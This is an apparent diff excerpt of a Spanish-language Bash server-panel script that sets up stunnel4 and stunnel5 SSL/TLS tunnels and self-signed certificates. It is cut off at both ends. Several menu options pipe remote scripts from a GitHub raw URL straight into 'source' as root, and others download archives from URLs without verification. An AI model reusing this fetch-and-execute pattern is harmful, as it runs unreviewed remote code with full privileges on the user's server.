+#clear +### +#head -n -2 /ADMcgh/header > headuser.sh && chmod 777 headuser.sh && source headuser.sh && rm headuser.sh +#source header "ports_" +#echo -e "Escriba un nombre para el Redireccionador SSL" +#read -p ": " nombressl +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) " +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + +echo "[stunnel] " >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf +echo "accept = $SSLPORT " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp +service ssh restart 1>/dev/null 2 /dev/null +service stunnel4 start 1>/dev/null 2 /dev/null +service stunnel4 restart 1>/dev/null 2 /dev/null +sslkk +echo -e "${cor[2]}STUNNEL ACTIVO en Puertos : ${cor[2]}$sslports " +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +#echo "Limpieza Finalizada" +unset lang +return 0 +;; +2) +echo "" +echo -e " Creditos a @ChumoGH " +msg -bar +read -p " Presiona Enter para continuar " +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh) +return 0 +;; +3) +unset lang +service stunnel4 stop +msg -bar +echo -e "\033[1;33m Cerrando PUERTO SSL/TLS" +msg -bar +fun_bar 'apt-get remove stunnel4 -y' 'apt-get purge stunnel4 -y' +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +#echo "Limpieza Finalizada" +rm -rf /etc/stunnel/* > /dev/null +echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!" +msg -bar +return 0 +;; +esac +#FIN VERIFICA STUNNEL4 ACTIVO +} +unset lang +figlet " SSL / TLS " | boxes -d stone -p a2v1 +msg -bar +echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;31m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)" +msg -bar +echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)" +msg -bar +echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - By @KillShito \033[0;33m(#EXPERIMENTAL)" +msg -bar +selection=$(selection_fun 6) +case ${selection} in +1) +msg -bar +echo -e " Para Crear su Certificado SSL \n En su Primera instancia coloque Codigo de su PAIS \n Ejemplo : EC " +msg -bar +echo -e " A continuacion los codigos de Validacion de su Certificado" +read -p " Presiona Enter para continuar la Instalacion" +source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ssl) +return 0 +;; +2) +#sshports=`netstat -tunlp | grep sshd | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssh.txt && echo | cat /tmp/ssh.txt | tr '\n' ' ' > /ADMcgh/sshports.txt && cat /ADMcgh/sshports.txt`; +#sshports=$(cat /ADMcgh/sshports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +cat key.pem cert.pem >> /etc/stunnel/stunnel.pem +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +msg -bar +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +3) +car_cert () { +[[ -e /etc/stunnel/stunnel.pem ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/stunnel/stunnel.pem && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt >> /etc/stunnel/stunnel.pem && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +} +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i "22" portx + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + return + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" +echo -e "\033[1;33m Digite el Puerto SSL, que Va a USAR:" +msg -bar + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +car_cert +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +msg -bar +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +4) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +fun_bar "apt install stunnel4 -y" +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh) +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +[[ -e /data/cert.crt && -e /data/cert.key ]] && cat /data/cert.key /data/cert.crt >> /etc/stunnel/stunnel.pem || { +echo -e " ERROR AL CREAR CERTIFICADO " +apt purge stunnel4 -y > /dev/null 2>&1 +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION FALLIDA" +msg -bar +return 0 +} +service stunnel4 restart > /dev/null 2>&1 +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +5) +#echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito " +echo "" +echo -e " Creditos a @ChumoGH " +msg -bar +read -p " Presiona Enter para continuar " +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh) +return 0 +;; +6) +msg -bar +echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito " +echo "" +echo -e " Creditos a @KillShito " +msg -bar +read -p " Presiona Enter para continuar " +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/front.sh) +return 0 +;; +*) +return 0 +;; +esac +} + +_fun_ST5() { +sudo apt install autoconf automake libpcre3-dev libnl-3-dev libsqlite3-dev libssl-dev ethtool build-essential g++ libnl-genl-3-dev libgcrypt20-dev libtool python3-distutils -y +sudo apt install -y pkg-config +#git clone https://github.com/mtrojnar/stunnel.git +wget -O stunnel.tar.gz https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/stunnel-5.65.tar.gz +tar xzf stunnel.tar.gz +rm -f stunnel.tar.gz +cd ./stunnel-5.65 +#cd ./stunnel +./configure +make +make install +#cd /ADMcgh && rm -rf stunnel* +[[ -z $(cat /etc/passwd | grep "stunnel" | grep -v "stunnel4") ]] && useradd -s /usr/sbin/nologin -r stunnel +[[ -d /var/lib/stunnel ]] || mkdir /var/lib/stunnel +chown stunnel:stunnel /var/lib/stunnel +cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +} +function inst_stunnel5() { + sleep 1 + helice() { + _fun_ST5 >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m INSTALANDO Y COMPILANDO \033[1;32mSTUNNEL \033[1;37mV \033[1;32m5\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + +ssl_stunel5 () { +unset lang + +sslkk +[[ $(mportas|grep stunnel|head -1) ]] && { +[[ ! -e /usr/local/etc/stunnel/stunnel.conf && -e /etc/stunnel/stunnel.conf ]] && { +echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 4" && sleep 2s +ssl_stunel4 && return +} +# INICIO STUNNEL ACTIVO +#/ADMcgh/header "ports_" +msg -bar +echo -e "${cor[2]} SSL / TLS -> STUNNEL5 ACTIVOS : $sslports " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL (STUNNEL5) \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m CERRAR TODOS LOS PUERTO(s) SSL" +msg -bar +selection=$(selection_fun 2) +case ${selection} in +0) +return 0 +;; +1)source header "ports_" +unset portserv +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) " +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portserv + if [[ ! -z $portserv ]]; then + if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then + break + else + portserv="$pt" + break + fi + fi + done + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + +echo " +[stunnel5] +accept = ${SSLPORT} +connect = ${portserv} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" >> /usr/local/etc/stunnel/stunnel.conf +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp +service ssh restart 1>/dev/null 2 /dev/null +systemctl daemon-reload &>/dev/null +systemctl restart stunnel5 &>/dev/null +sslkk +echo -e "${cor[2]}STUNNEL5 ACTIVO en Puertos : ${cor[2]}$sslports " +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +unset lang +return 0 +;; +2) +unset lang +msg -bar +echo -e "\033[1;33m Cerrando PUERTO SSL/TLS" +msg -bar +fun_bar +systemctl daemon-reload &>/dev/null +systemctl stop stunnel5 &>/dev/null +systemctl disable stunnel5 &>/dev/null +rm -f /etc/systemd/system/stunnel5.service &>/dev/null +rm -rf /usr/local/etc/stunnel &>/dev/null +rm -rf /usr/local/share/doc/stunnel &>/dev/null +rm -rf /ADMcgh/stunnel* &>/dev/null +rm -rf /var/lib/stunnel +msg -bar +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +rm -rf /etc/stunnel/* > /dev/null +echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!" +msg -bar +return 0 +;; +esac +#FIN VERIFICA STUNNEL5 ACTIVO +} +unset lang +figlet " STUNNEL5 " | boxes -d stone -p a2v1 +msg -bar +echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) " +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m Cargar con ZIP URL \033[0;32m(#OFICIAL)" +msg -bar +selection=$(selection_fun 4) +case ${selection} in +1) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +inst_stunnel5 +echo "; It is recommended to drop root privileges if stunnel is started by root +setuid = stunnel +setgid = stunnel + +; PID file is created inside the chroot jail (if enabled) +chroot = /var/lib/stunnel +pid = /stunnel.pid + +; TLS front-end to a web server +; Use the cert and key from certbot +[https] +accept = ${SSLPORT} +connect = ${DPORT} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" > /usr/local/etc/stunnel/stunnel.conf +openssl genrsa -out key.pem 2048 > /dev/null 2>&1 +(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1 +[[ -d /usr/local/etc/stunnel ]] && cat cert.pem > /usr/local/etc/stunnel/stunnel.cert +[[ -d /usr/local/etc/stunnel ]] && cat key.pem > /usr/local/etc/stunnel/stunnel.key +[[ -e /usr/local/share/doc/stunnel/examples/stunnel.init ]] && cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +systemctl daemon-reload &>/dev/null +systemctl start stunnel5 &>/dev/null +systemctl enable stunnel5 &>/dev/null +msg -bar +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +2) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +inst_stunnel5 +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh) +echo "; It is recommended to drop root privileges if stunnel is started by root +setuid = stunnel +setgid = stunnel + +; PID file is created inside the chroot jail (if enabled) +chroot = /var/lib/stunnel +pid = /stunnel.pid + +; TLS front-end to a web server +; Use the cert and key from certbot +[https] +accept = ${SSLPORT} +connect = ${DPORT} +cert = /usr/local/etc/stunnel/stunnel.cert +key = /usr/local/etc/stunnel/stunnel.key +" > /usr/local/etc/stunnel/stunnel.conf +cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5 +chmod 755 /etc/init.d/stunnel5 +cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service +[[ -e /data/cert.crt && -e /data/cert.key ]] && { +cat /data/cert.key > /usr/local/etc/stunnel/stunnel.key +cat /data/cert.crt > /usr/local/etc/stunnel/stunnel.cert +} || { +echo -e " ERROR AL CREAR CERTIFICADO " +rm -f /etc/systemd/system/stunnel5.service &>/dev/null +rm -rf /usr/local/etc/stunnel/* &>/dev/null +rm -rf /usr/local/share/doc/stunnel &>/dev/null +rm -rf /ADMcgh/stunnel-5.65 &>/dev/null +rm -f /usr/local/etc/stunnel/stunnel.conf &>/dev/null +[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION FALLIDA" +msg -bar +return 0 +} +systemctl daemon-reload &>/dev/null +systemctl start stunnel5 &>/dev/null +systemctl enable stunnel5 &>/dev/null +msg -bar +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m INSTALACION EXITOSA" +msg -bar +return 0 +;; +3) +msg -bar +echo -e "\033[1;36m SSL Stunnel" +msg -bar +echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna" +echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS" +msg -bar + while true; do + echo -ne "\033[1;37m" + echo " Ingresa el Puerto Local de tu VPS (Default 22) " + read -p " Local-Port: " -e -i $pt portx + tput cuu1 >&2 && tput dl1 >&2 + [[ $(mportas | grep $portx) ]] && break + echo -e "\033[1;33m El puerto seleccionado no existe" + unset portx + msg -bar + done +msg -bar +DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)" + while true; do + echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)" + read -p " Listen-SSL: " SSLPORT + tput cuu1 >&2 && tput dl1 >&2 + PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT` + [[ -n "$PortSSL" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done +msg -bar +echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +msg -bar +inst_stunnel5 +[[ -e /usr/local/etc/stunnel/stunnel.cert && -e /usr/local/etc/stunnel/stunnel.key ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +msg -bar + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, 